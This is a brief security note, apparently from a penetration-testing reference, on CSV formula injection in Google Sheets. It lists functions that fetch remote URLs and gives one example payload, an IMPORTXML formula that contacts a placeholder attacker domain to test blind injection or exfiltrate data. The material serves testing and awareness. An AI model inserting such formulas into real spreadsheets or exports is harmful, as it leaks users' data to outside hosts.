CSV Injection: Google Sheets
Google Sheets allows some additional formulas that are able to fetch remote URLs:
IMPORTXML(url, xpath_query, locale)
IMPORTRANGE(spreadsheet_url, range_string)
IMPORTHTML(url, query, index)
IMPORTFEED(url, [query], [headers], [num_items])
IMPORTDATA(url)
So one can test blind formula injection or a potential for data exfiltration with:
=IMPORTXML("http://[ATTACKER.DOMAIN.TLD]/csv", "//a/@href")Note: an alert will warn the user a formula is trying to contact an external resource and ask for authorization.
Comments
No comments yet.